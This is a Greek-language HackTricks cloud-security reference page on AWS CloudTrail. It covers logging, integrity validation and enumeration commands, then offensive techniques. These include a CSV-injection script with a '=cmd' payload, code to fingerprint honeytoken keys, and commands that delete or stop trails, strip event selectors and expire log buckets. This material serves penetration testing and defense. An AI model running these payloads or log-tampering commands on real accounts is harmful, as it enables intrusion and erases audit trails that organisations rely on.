AWS - CloudTrail Enum

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

CloudTrail

Το AWS CloudTrail καταγράφει και παρακολουθεί τη δραστηριότητα εντός του περιβάλλοντος AWS σας. Καταγράφει λεπτομερείς αρχεία καταγραφής συμβάντων, συμπεριλαμβανομένου ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους του AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, στον έλεγχο συμμόρφωσης και στην παρακολούθηση των αλλαγών στους πόρους. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφαλείας και τη διασφάλιση της συμμόρφωσης με τους κανονισμούς.

Κάθε καταγεγραμμένο συμβάν περιέχει:

  • Το όνομα της κληθείσας API: eventName

  • Την κληθείσα υπηρεσία: eventSource

  • Την ώρα: eventTime

  • Η διεύθυνση IP: SourceIPAddress

  • Η μέθοδος πράκτορα: userAgent. Παραδείγματα:

    • Signing.amazonaws.com - Από την κονσόλα διαχείρισης AWS

    • console.amazonaws.com - Ριζικός χρήστης του λογαριασμού

    • lambda.amazonaws.com - AWS Lambda

  • Οι παράμετροι αιτήσεων: requestParameters

  • Τα στοιχεία απάντησης: responseElements

Τα συμβάντα γράφονται σε ένα νέο αρχείο καταγραφής περίπου κάθε 5 λεπτά σε ένα JSON αρχείο, κρατιούνται από το CloudTrail και τελικά, τα αρχεία καταγραφής παραδίδονται στο S3 περίπου 15 λεπτά μετά. Οι καταγραφές του CloudTrail μπορούν να συγκεντρωθούν σε όλους τους λογαριασμούς και σε όλες τις περιοχές. Το CloudTrail επιτρέπει τη χρήση ακεραιότητας αρχείων καταγραφής για να μπορείτε να επαληθεύσετε ότι τα αρχεία καταγραφής σας παρέμειναν αναλλοίωτα από τότε που τα παρέδωσε το CloudTrail. Δημιουργεί ένα SHA-256 hash των καταγραφών μέσα σε ένα αρχείο πεπερασμένου. Ένα sha-256 hash των νέων καταγραφών δημιουργείται κάθε ώρα. Κατά τη δημιουργία ενός Trail, οι επιλογείς συμβάντων θα σας επιτρέψουν να υποδείξετε το Trail για καταγραφή: Διαχείριση, δεδομένα ή συμβάντα εισόδου.

Οι καταγραφές αποθηκεύονται σε ένα κουτί S3. Από προεπιλογή χρησιμοποιείται η Κρυπτογράφηση Εξυπηρετητή Πλευράς (SSE-S3) έτσι το AWS θα αποκρυπτογραφήσει το περιεχόμενο για τα άτομα που έχουν πρόσβαση σε αυτό, αλλά για επιπλέον ασφάλεια μπορείτε να χρησιμοποιήσετε την Κρυπτογράφηση Εξυπηρετητή Πλευράς με KMS και τα δικά σας κλειδιά.

Οι καταγραφές αποθηκεύονται σε ένα κουτί S3 με τη μορφή ονόματος:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Με το BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Παράδειγμα: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Μέσα σε κάθε φάκελο κάθε καταγραφή θα έχει ένα όνομα που ακολουθεί αυτή τη μορφή: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Σύμβαση Ονομασίας Αρχείου Καταγραφής

Επιπλέον, τα αρχεία πεπερασμένου (για έλεγχο ακεραιότητας αρχείων) θα βρίσκονται μέσα στο ίδιο κουτί σε:

Συγκέντρωση Καταγραφών από Πολλαπλούς Λογαριασμούς

  • Δημιουργήστε ένα Δοκιμαστικό στο λογαριασμό AWS όπου θέλετε να παραδοθούν τα αρχεία καταγραφής

  • Εφαρμόστε δικαιώματα στο κουτί S3 προορισμού επιτρέποντας την πρόσβαση μεταξύ λογαριασμών για το CloudTrail και επιτρέψτε σε κάθε λογαριασμό AWS που χρειάζεται πρόσβαση

  • Δημιουργήστε ένα νέο Trail στους άλλους λογαριασμούς AWS και επιλέξτε να χρησιμοποιήσετε το δημιουργημένο κουτί στο βήμα 1

Ωστόσο, ακόμη κι αν μπορείτε να αποθηκεύσετε όλες τις καταγραφές στο ίδιο κουτί S3, δεν μπορείτε να συγκεντρώσετε τις καταγραφές CloudTrail από πολλαπλούς λογαριασμούς σε Καταγραφές CloudWatch που ανήκουν σε έναν μόνο λογαριασμό AWS.

Θυμηθείτε ότι ένας λογαριασμός μπορεί να έχει διαφορετικά Trails από το CloudTrail ενεργοποιημένα αποθηκεύοντας τις ίδιες (ή διαφορετικές) καταγραφές σε διαφορετικά κουτιά.

Cloudtrail από όλους τους λογαριασμούς οργανισμού σε 1

Κατά τη δημιουργία ενός CloudTrail, είναι δυνατό να υποδείξετε να ενεργοποιηθεί το cloudtrail για όλους τους λογαριασμούς στον οργανισμό και να λάβετε τις καταγραφές σε ένα μόνο κουτί:

Με αυτόν τον τρόπο μπορείτε εύκολα να διαμορφώσετε το CloudTrail σε όλες τις περιοχές όλων των λογαριασμών και να κεντρικοποιήσετε τις καταγραφές σε 1 λογαριασμό (που πρέπει να προστατεύσετε).

Έλεγχος Αρχείων Καταγραφής

Μπορείτε να ελέγξετε ότι οι καταγραφές δεν έχουν τροποποιηθεί εκτελώντας

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Καταγραφή Σε CloudWatch

Το CloudTrail μπορεί αυτόματα να στείλει τα logs στο CloudWatch ώστε να μπορείτε να ορίσετε ειδοποιήσεις που θα σας προειδοποιούν όταν πραγματοποιούνται ύποπτες δραστηριότητες. Σημειώστε ότι για να επιτρέψετε στο CloudTrail να στείλει τα logs στο CloudWatch πρέπει να δημιουργηθεί ένας ρόλος που επιτρέπει αυτήν την ενέργεια. Εάν είναι δυνατόν, συνιστάται να χρησιμοποιήσετε τον προεπιλεγμένο ρόλο του AWS για να εκτελέσετε αυτές τις ενέργειες. Αυτός ο ρόλος θα επιτρέψει στο CloudTrail να:

  • CreateLogStream: Αυτό επιτρέπει τη δημιουργία εγγραφών καταγραφής CloudWatch Logs

  • PutLogEvents: Παράδοση των logs του CloudTrail στη ροή καταγραφής CloudWatch Logs

Ιστορικό Συμβάντων

Το Ιστορικό Συμβάντων του CloudTrail σάς επιτρέπει να επιθεωρήσετε σε μια πίνακα τα logs που έχουν καταγραφεί:

Εισαγωγές

Το CloudTrail Insights αναλύει αυτόματα τα συμβάντα διαχείρισης εγγραφών από τα ίχνη του CloudTrail και σας ειδοποιεί για ασυνήθιστη δραστηριότητα. Για παράδειγμα, αν υπάρχει αύξηση στα συμβάντα TerminateInstance που διαφέρει από τις καθιερωμένες βάσεις, θα το δείτε ως ένα συμβάν Insight. Αυτά τα συμβάντα καθιστούν το εντοπισμό και την αντίδραση σε ασυνήθιστη δραστηριότητα API ευκολότερα από ποτέ.

Οι εισαγωγές αποθηκεύονται στον ίδιο κάδο με τα logs του CloudTrail στο: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Ασφάλεια

Ακεραιότητα Αρχείου Καταγραφής CloudTrail

  • Επικύρωση εάν τα logs έχουν τροποποιηθεί (τροποποιημένα ή διαγραμμένα)

  • Χρησιμοποιεί αρχεία κατακερματισμοϋ (δημιουργεί hash για κάθε αρχείο)

    • Κατακερματισμός SHA-256

    • Κατακερματισμός SHA-256 με RSA για ψηφιακή υπογραφή

    • ιδιωτικό κλειδί σε κυριότητα της Amazon

  • Χρειάζεται 1 ώρα για τη δημιουργία ενός αρχείου κατακερματισμού (γίνεται κάθε ώρα)

Διακοπή μη εξουσιοδοτημένης πρόσβασης

  • Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3

    • ομάδα ασφαλείας —> πρόσβαση διαχειριστή

    • ελεγκτές —> πρόσβαση μόνο για ανάγνωση

  • Χρησιμοποιήστε SSE-S3/SSE-KMS για την κρυπτογράφηση των logs

Αποτροπή διαγραφής αρχείων καταγραφής

  • Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και κάδου

  • Διαμορφώστε τη διαγραφή S3 MFA

  • Επικύρωση με Επικύρωση Αρχείου Καταγραφής

Σύμβουλος Πρόσβασης

Ο Σύμβουλος Πρόσβασης του AWS βασίζεται στα τελευταία 400 ημέρες logs του AWS CloudTrail για να συγκεντρώσει τις εισηγήσεις του. Το CloudTrail καταγράφει μια ιστορία των κλήσεων API του AWS και των σχετικών συμβάντων που πραγματοποιήθηκαν σε ένα λογαριασμό AWS. Ο Σύμβουλος Πρόσβασης χρησιμοποιεί αυτά τα δεδομένα για να εμφανίσει πότε τελευταία χρησιμοποιήθηκαν οι υπηρεσίες. Με ανάλυση των logs του CloudTrail, ο Σύμβουλος Πρόσβασης μπορεί να καθορίσει ποιες υπηρεσίες του AWS έχει χρησιμοποιήσει ένας χρήστης IAM ή ρόλος και πότε έγινε αυτή η πρόσβαση. Αυτό βοηθά τους διαχειριστές του AWS να λάβουν ενημερωμένες αποφάσεις σχετικά με τη διόρθωση των δικαιωμάτων, καθώς μπορούν να αναγνωρίσουν υπηρεσίες που δεν έχουν χρησιμοποιηθεί για εκτεταμένα χρονικά διαστήματα και ενδεχομένως να μειώσουν υπερβολικά ευρείες άδειες βάσει πραγματικών προτύπων χρήσης.

Επομένως, ο Σύμβουλος Πρόσβασης ενημερώνει για τις περιττές άδειες που δίνονται στους χρήστες ώστε ο διαχειριστής να μπορεί να τις αφαιρέσει

Ενέργειες

Απαρίθμηση

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Ενσωμάτωση CSV

Είναι δυνατή η εκτέλεση μιας ενσωμάτωσης CSV μέσα στο CloudTrail που θα εκτελέσει αυθαίρετο κώδικα εάν τα αρχεία καταγραφής εξάγονται σε μορφή CSV και ανοίγονται με το Excel. Ο παρακάτω κώδικας θα δημιουργήσει καταχώρηση καταγραφής με ένα κακό όνομα Trail που περιέχει το φορτίο:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Για περισσότερες πληροφορίες σχετικά με τις Ενέργειες CSV ελέγχου ελέγξτε τη σελίδα:

Για περισσότερες πληροφορίες σχετικά με αυτήν τη συγκεκριμένη τεχνική ελέγχου ελέγξτε https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Παράκαμψη Ανίχνευσης

Παράκαμψη HoneyTokens

Τα Honeytokens δημιουργούνται για τον εντοπισμό της διαρροής ευαίσθητων πληροφοριών. Στην περίπτωση του AWS, παρακολουθούνται οι κλειδιά AWS των οποίων η χρήση παρακολουθείται, αν κάτι ενεργοποιήσει μια ενέργεια με αυτό το κλειδί, τότε κάποιος πρέπει να έχει κλέψει αυτό το κλειδί.

Ωστόσο, τα Honeytokens όπως αυτά που δημιουργήθηκαν από το Canarytokens, SpaceCrab, SpaceSiren είτε χρησιμοποιούν αναγνωρίσιμο όνομα λογαριασμού είτε χρησιμοποιούν το ίδιο αναγνωριστικό λογαριασμού AWS για όλους τους πελάτες τους. Επομένως, αν μπορείτε να λάβετε το όνομα λογαριασμού και/ή το αναγνωριστικό λογαριασμού χωρίς να δημιουργήσετε κανένα αρχείο καταγραφής Cloudtrail, μπορείτε να γνωρίζετε αν το κλειδί είναι ένα Honeytoken ή όχι.

Το Pacu έχει μερικούς κανόνες για τον εντοπισμό εάν ένα κλειδί ανήκει στο Canarytokens, SpaceCrab, SpaceSiren:

  • Εάν το canarytokens.org εμφανίζεται στο όνομα ρόλου ή το αναγνωριστικό λογαριασμού 534261010715 εμφανίζεται στο μήνυμα σφάλματος.

  • Δοκιμάζοντάς τα πιο πρόσφατα, χρησιμοποιούν τον λογαριασμό 717712589309 και εξακολουθούν να έχουν τη συμβολοσειρά canarytokens.com στο όνομα.

  • Εάν το SpaceCrab εμφανίζεται στο όνομα ρόλου στο μήνυμα σφάλματος

  • Το SpaceSiren χρησιμοποιεί uuids για τη δημιουργία ονομάτων χρηστών: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Εάν το όνομα μοιάζει με τυχαία δημιουργημένο, υπάρχουν υψηλές πιθανότητες ότι είναι ένα HoneyToken.

Λήψη του αναγνωριστικού λογαριασμού από το Αναγνωριστικό Κλειδιού

Μπορείτε να λάβετε το Αναγνωριστικό Λογαριασμού από το κωδικοποιημένο μέσα στο κλειδί πρόσβασης όπως εξηγείται εδώ και να ελέγξετε το αναγνωριστικό λογαριασμού με τη λίστα σας από λογαριασμούς AWS Honeytokens:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Ελέγξτε περισσότερες πληροφορίες στην αρχική έρευνα.

Να μη δημιουργηθεί καταγραφή

Η πιο αποτελεσματική τεχνική γι' αυτό είναι πραγματικά μια απλή. Απλά χρησιμοποιήστε το κλειδί που μόλις βρήκατε για να έχετε πρόσβαση σε κάποια υπηρεσία μέσα στον δικό σας λογαριασμό επιτιθέμενου. Αυτό θα κάνει το CloudTrail να δημιουργήσει μια καταγραφή μέσα ΣΤΟΝ ΔΙΚΟ ΣΑΣ λογαριασμό AWS και όχι μέσα στους θύματες.

Το πράγμα είναι ότι το αποτέλεσμα θα σας δείξει ένα σφάλμα που υποδηλώνει το ID του λογαριασμού και το όνομα του λογαριασμού, έτσι θα μπορείτε να δείτε αν είναι ένα Honeytoken.

Υπηρεσίες AWS χωρίς καταγραφές

Στο παρελθόν υπήρχαν μερικές υπηρεσίες AWS που δεν στέλνουν καταγραφές στο CloudTrail (βρείτε μια λίστα εδώ). Μερικές από αυτές τις υπηρεσίες θα ανταποκριθούν με ένα σφάλμα που περιέχει το ARN του ρόλου του κλειδιού αν κάποιος μη εξουσιοδοτημένος (το κλειδί honeytoken) προσπαθήσει να έχει πρόσβαση.

Με αυτόν τον τρόπο, ένας εισβολέας μπορεί να αποκτήσει το ARN του κλειδιού χωρίς να ενεργοποιήσει κάποια καταγραφή. Στο ARN ο εισβολέας μπορεί να δει το ID λογαριασμού AWS και το όνομα, είναι εύκολο να γνωρίζει τα ID και τα ονόματα των λογαριασμών των εταιρειών HoneyToken, έτσι ένας εισβολέας μπορεί να αναγνωρίσει αν το τοκεν είναι ένα HoneyToken.

Σημειώστε ότι όλα τα δημόσια APIs που ανακαλύφθηκαν ότι δεν δημιουργούν καταγραφές CloudTrail έχουν διορθωθεί τώρα, οπότε ίσως χρειαστεί να βρείτε τα δικά σας...

Για περισσότερες πληροφορίες ελέγξτε την αρχική έρευνα.

Πρόσβαση σε τρίτη υποδομή

Κάποιες υπηρεσίες AWS θα δημιουργήσουν κάποια υποδομή όπως Βάσεις Δεδομένων ή συστάδες Kubernetes (EKS). Ένας χρήστης που επικοινωνεί απευθείας με αυτές τις υπηρεσίες (όπως το API του Kubernetes) δεν θα χρησιμοποιήσει το AWS API, έτσι το CloudTrail δεν θα μπορεί να δει αυτή την επικοινωνία.

Επομένως, ένας χρήστης με πρόσβαση στο EKS που έχει ανακαλύψει το URL του API του EKS θα μπορούσε να δημιουργήσει ένα τοκεν τοπικά και να επικοινωνήσει με την υπηρεσία API απευθείας χωρίς να ανιχνευθεί από το Cloudtrail.

Περισσότερες πληροφορίες:

AWS - EKS Post Exploitation

Τροποποίηση της διαμόρφωσης του CloudTrail

Διαγραφή ίχνων

aws cloudtrail delete-trail --name [trail-name]

Διακοπή ίχνων

aws cloudtrail stop-logging --name [trail-name]

Απενεργοποίηση καταγραφής πολλαπλών περιοχών

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Απενεργοποίηση Καταγραφής με Επιλογείς Συμβάντων

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Στο πρώτο παράδειγμα, ένας μόνο επιλογέας συμβάντων παρέχεται ως ένα JSON πίνακα με ένα μόνο αντικείμενο. Το "ReadWriteType": "ReadOnly" υποδηλώνει ότι ο επιλογέας συμβάντων θα πρέπει να καταγράφει μόνο τα επεισόδια μόνο για ανάγνωση (έτσι τα CloudTrail insights δεν θα ελέγχουν γραφή επεισόδια για παράδειγμα).

Μπορείτε να προσαρμόσετε τον επιλογέα συμβάντων βάσει των συγκεκριμένων απαιτήσεών σας.

Διαγραφή καταγραφών μέσω πολιτικής διαβίβασης ζωής S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Τροποποίηση της Διαμόρφωσης του Κάδου

  • Διαγραφή του κάδου S3

  • Αλλαγή της πολιτικής του κάδου για απαγόρευση οποιασδήποτε εγγραφής από την υπηρεσία CloudTrail

  • Προσθήκη πολιτικής lifecycle στον κάδο S3 για τη διαγραφή αντικειμένων

  • Απενεργοποίηση του κλειδιού kms που χρησιμοποιείται για την κρυπτογράφηση των αρχείων καταγραφής του CloudTrail

Κρυπτογραφικό Πρόγραμμα Παρακράτησης CloudTrail

Κρυπτογραφικό Πρόγραμμα Παρακράτησης S3

Μπορείτε να δημιουργήσετε ένα ασύμμετρο κλειδί και να κάνετε το CloudTrail να κρυπτογραφήσει τα δεδομένα με αυτό το κλειδί και να διαγράψετε το ιδιωτικό κλειδί ώστε τα περιεχόμενα του CloudTrail να μην μπορούν να ανακτηθούν. Αυτό είναι ουσιαστικά ένα S3-KMS ransomware που εξηγείται στο:

AWS - S3 Post Exploitation

KMS ransomware

Αυτή είναι η πιο εύκολη διαδικασία για να πραγματοποιήσετε την προηγούμενη επίθεση με διαφορετικές απαιτήσεις δικαιωμάτων:

AWS - KMS Post Exploitation

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated